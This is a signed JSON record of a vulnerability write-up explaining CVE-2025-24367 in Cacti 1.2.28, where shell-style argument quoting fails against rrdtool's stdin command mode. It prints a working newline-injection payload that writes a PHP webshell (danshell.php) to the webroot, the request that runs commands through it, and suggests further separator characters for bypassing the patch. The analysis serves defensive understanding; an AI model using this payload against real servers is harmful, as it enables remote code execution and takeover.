-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

NEFARIOUSPLAN-CANONICAL-V1
{"body_md":"## The function escapes for an interpreter that is not in the call path\n\nIn Cacti 1.2.28, `cacti_escapeshellarg` is one function that does one thing on Unix. It calls PHP's `escapeshellarg` and returns the wrapped result.\n\n```php\nfunction cacti_escapeshellarg($string, $quote = true) {\n    global $config;\n\n    if ($string == '') {\n        return $string;\n    }\n\n    /* we must use an apostrophe to escape community names under Unix in case the user uses\n    characters that the shell might interpret. the ucd-snmp binaries on Windows flip out when\n    you do this, but are perfectly happy with a quotation mark. */\n    if ($config['cacti_server_os'] == 'unix') {\n        $string = escapeshellarg($string);\n        if ($quote) {\n            return $string;\n        } else {\n            return substr($string, 1, (strlen($string)-2));\n        }\n    }\n    // ... windows branch follows\n}\n```\n\nPHP's `escapeshellarg` wraps a string in single quotes and replaces any internal apostrophe with `'\\''`. That is the correct, complete behavior for the POSIX shell. A shell receiving `'foo<NL>bar'` sees one argument whose contents include a literal newline. Word splitting happens on whitespace before quoting is resolved; the shell does not split on newlines inside an open quote. The function is doing exactly what its name advertises.\n\nThe advertisement is the bug.\n\n## The sink is rrdtool's remote-mode REPL, reached over a pipe\n\n`lib/rrd.php:321` opens rrdtool once per render and feeds it commands across the lifetime of the request.\n\n```php\n$process = proc_open(read_config_option('path_rrdtool') . ' - ' . $debug, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n    unset($process);\n} else {\n    fwrite($pipes[0], escape_command($command_line) . \"\\r\\nquit\\r\\n\");\n    fclose($pipes[0]);\n    $fp = $pipes[1];\n}\n```\n\n`rrdtool -` is rrdtool's documented remote control mode. The binary reads commands from stdin, executes each, prints the result on stdout, then loops. The shell that invoked rrdtool exited as soon as `proc_open` set up the pipe; from the moment that pipe is live the receiver of every byte Cacti writes is rrdtool's own line parser, not `/bin/sh`.\n\nThe function whose name advertises that destination is `escape_command`. In 1.2.28 it is a no-op.\n\n```php\nfunction escape_command($command) {\n    return $command;        # we escape every single argument now, no need for 'special' escaping\n    #return preg_replace(\"/(\\\\\\$|`)/\", \"\", $command); # current cacti code\n    #TODO return preg_replace((\\\\\\$(?=\\w+|\\*|\\@|\\#|\\?|\\-|\\\\\\$|\\!|\\_|[0-9]|\\(.*\\))|`(?=.*(?=`)))\",\"$2\", $command);  #suggested by ldevantier to allow for a single $\n}\n```\n\nThe body is a one-line passthrough. The commented-out lines beside it are the previous, command-level escaping that has been removed in favor of per-argument escaping. The inline comment is the developer's audit conclusion in plain English: every argument is individually shell-escaped through `cacti_escapeshellarg`, so the command-level layer is redundant. Both halves of that conclusion are correct for a shell sink. Neither half is correct for the sink that is actually present.\n\n## The exploit lives in the newline that rrdtool reads and the shell would have absorbed\n\nThe PoC ([dantedansh/CVE-2025-24367-Cacti-Exploit](https://github.com/dantedansh/CVE-2025-24367-Cacti-Exploit)) authenticates, fetches the CSRF magic value, looks up the id of the \"Unix - Logged in Users\" graph template, and posts the following field into `graph_templates.php?action=template_edit&id=...`:\n\n```python\n\"right_axis_label\": \"DanNulty\\ncreate my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200\\ngraph danshell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`$_REQUEST[0]`;?>\\n\"\n```\n\nThe newlines are literal `\\n` bytes in the POST body. They are saved into the database as part of the template row. On the next graph render, `rrdtool_function_graph` reads the field back and assembles the rrdtool command. The relevant fragment in 1.2.28's `lib/rrd.php`:\n\n```php\ncase 'right_axis_label':\n    if (!empty($value)) {\n        $graph_opts .= '--right-axis-label ' . cacti_escapeshellarg($value) . RRD_NL;\n    }\n```\n\nWhere `RRD_NL` is the rrdtool argument separator:\n\n```php\ndefine('RRD_NL', \" \\\\\\n\");\n```\n\nA space, a backslash, a newline. rrdtool's batch parser treats backslash-newline as line continuation, the way the shell does. Lines that end on a bare newline, without that trailing backslash, are command boundaries.\n\nThe buffer Cacti writes to rrdtool's stdin looks like this once the injected field is in place:\n\n```\ngraph - \\\n--imgformat=SVG \\\n--start='1735903534' \\\n--end='1735903594' \\\n--title='Local Linux Machine - Advanced Ping' \\\n--vertical-label='milliseconds' \\\n--slope-mode \\\n--right-axis-label 'DanNulty\ncreate my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200\ngraph danshell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`$_REQUEST[0]`;?>\n' \\\n...\n```\n\nThe single quote opened around `DanNulty` is a shell convention, faithfully produced by `escapeshellarg`. rrdtool is not a shell. Its stdin reader sees four logical commands separated by bare newlines:\n\n1. `graph - --imgformat=SVG ... --right-axis-label 'DanNulty`. A malformed graph invocation with an unbalanced apostrophe. rrdtool errors out, prints a complaint to its stdout, and reads the next line.\n2. `create my.rrd --step 300 DS:temp:GAUGE:600:-273:5000 RRA:AVERAGE:0.5:1:1200`. A valid rrdtool `create`. The RRD database `my.rrd` is created in rrdtool's working directory. That working directory is whatever directory Cacti was running from, which on a typical install is the cacti webroot.\n3. `graph danshell.php -s now -a CSV DEF:out=my.rrd:temp:AVERAGE LINE1:out:<?=`$_REQUEST[0]`;?>`. A valid rrdtool `graph` in CSV output mode. The output file is `danshell.php`. The `LINE1` label is `<?=$_REQUEST[0]?>`. rrdtool's CSV output writes the label as the column header on the first row, byte-for-byte.\n4. `' \\`. An orphan apostrophe followed by a continuation backslash, then the rest of the original graph command. rrdtool ignores it.\n\nThe PHP file that lands in the webroot is the CSV output of step 3:\n\n```\n\"time\",\"<?=`$_REQUEST[0]`;?>\"\n1735914000,\"NaN\"\n```\n\nPHP renders that file by reading the literal CSV bytes through to the `<?=` tag, executing the backtick expression on `$_REQUEST[0]`, and writing the result back into the page. The PoC's last action is to walk `graph_image.php?local_graph_id={i}` for `i` in 1..19 to force a render of any graph that inherits the modified template, then to print the webshell URL:\n\n```bash\nGET /cacti/danshell.php?0=id\n```\n\nreturns the output of `id`. The chain takes one authenticated POST and one unauthenticated GET sweep.\n\n## The 1.2.29 patch fixes the symptom and preserves the lie\n\nCommit [`c7e4ee7`](https://github.com/Cacti/cacti/commit/c7e4ee798d263a3209ae6e7ba182c7b65284d8f0) adds one functional line to `cacti_escapeshellarg`:\n\n```diff\n function cacti_escapeshellarg($string, $quote = true) {\n     global $config;\n\n     if (!isset($string)) {\n         return $string;\n     }\n\n+    /* remove any carriage returns or line feeds from the argument */\n+    $string = str_replace(array(\"\\n\", \"\\r\"), array('', ''), $string);\n+\n     if ($config['cacti_server_os'] == 'unix') {\n         $string = escapeshellarg($string);\n```\n\nThe function's name does not change. Its doc comment, three lines higher, still reads \"mimics escapeshellarg, even for windows.\" `escape_command` still returns its input unchanged. The architecture, a long-lived rrdtool process consuming a Cacti-assembled stream of shell-quoted arguments, is intact.\n\nWhat changes is one fact: literal `\\n` and `\\r` no longer survive the wrap. The next character that rrdtool's batch parser treats as a command terminator and that PHP's `escapeshellarg` preserves is the next instance of this CVE. The list of candidates includes the form feed (`\\x0c`), the vertical tab (`\\x0b`), and whatever rrdtool decides to treat as a logical line break in future versions. Each one of those will pass through `cacti_escapeshellarg` unchanged because each one is unremarkable to the POSIX shell.\n\nThe patch was correct for the specific exploit. The fix that would close the bug class would either replace `cacti_escapeshellarg` with a rrdtool-aware sanitizer, or move the per-argument boundary out of stdin (one rrdtool invocation per command via argv, paying the fork cost), or rename the function honestly and audit every caller for which sink it actually feeds. The 1.2.29 commit does none of these.\n\n## The pattern\n\nThe escape function and the sink it feeds disagree about what the language is. `cacti_escapeshellarg` is written, named, and documented for the POSIX shell. PHP's underlying `escapeshellarg` is correct for the POSIX shell. The actual destination is rrdtool's interactive command parser, reached via `proc_open(path_rrdtool . ' - ')` and `fwrite` into stdin. Between Cacti's quote-wrap and rrdtool's read loop, there is no shell. The wrap does not bind.\n\nThis is a class of bug the catalog has not had a name for. It is the inverse of [Sanitized The Secrets, Not The Sink](/patterns/sanitized-the-secrets-not-the-sink): in that pattern the sanitizer is correct but is not applied to the field that reaches the sink. Here the sanitizer is applied to every field, but the sanitizer is correct for an interpreter the field never reaches. Call the new shape [The Shell Was Not The Sink](/patterns/the-shell-was-not-the-sink). Every member of the family has the same signature: a sanitizer function whose name claims one interpreter, applied uniformly to inputs that flow into a different one.\n\nCacti has had a long sequence of rrdtool injection CVEs against the same long-lived REPL architecture: the rrdtool-pipe component is a [Design Debt Driver](/patterns/design-debt-driver). The design choice that produces the family is the choice to run one rrdtool per render, fed by string-concatenated commands over stdin, sanitized at the argument boundary by a function written for the shell. Each instance ships a one-line fix against the specific separator that broke the wrap. The architecture survives every patch.\n\nPoC: [dantedansh/CVE-2025-24367-Cacti-Exploit](https://github.com/dantedansh/CVE-2025-24367-Cacti-Exploit)","closing_line":"The 1.2.29 patch strips the newlines. It does not rename the function.","hook_md":"Cacti's graph renderer opens rrdtool with `proc_open(path_rrdtool . ' - ')`. The argument is a single dash. That is rrdtool's remote control mode: read commands from stdin, one per line, until `quit`. The PHP process writes the whole command stream as a single buffer over the pipe. There is no shell between Cacti and rrdtool.\n\nCacti still calls a function named `cacti_escapeshellarg` on every value it writes into that buffer. The function wraps each value in single quotes. CVE-2025-24367 is what happens when a wrap meant for a shell is the only thing standing between user input and a line-oriented command interpreter that does not parse shell quoting.","post_id":270,"slug":"cacti-escapeshellarg-no-shell","title":"CVE-2025-24367: cacti_escapeshellarg Escapes For a Shell That Never Runs","type":"initial","unreadable_sentence":"Between Cacti's quote-wrap and rrdtool's read loop, there is no shell. The wrap does not bind."}
-----BEGIN PGP SIGNATURE-----

iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCar6SRQAKCRDeZjl4jgkQ
JgxkAP9Vrz9+xl1P79vamqF4tUz+7NYUwtKUwVxU7UnlMk4zNAEAgh639qCdmwse
Stkkw1HqfWLefhWLDH8H5/V7U4bs+wQ=
=ussm
-----END PGP SIGNATURE-----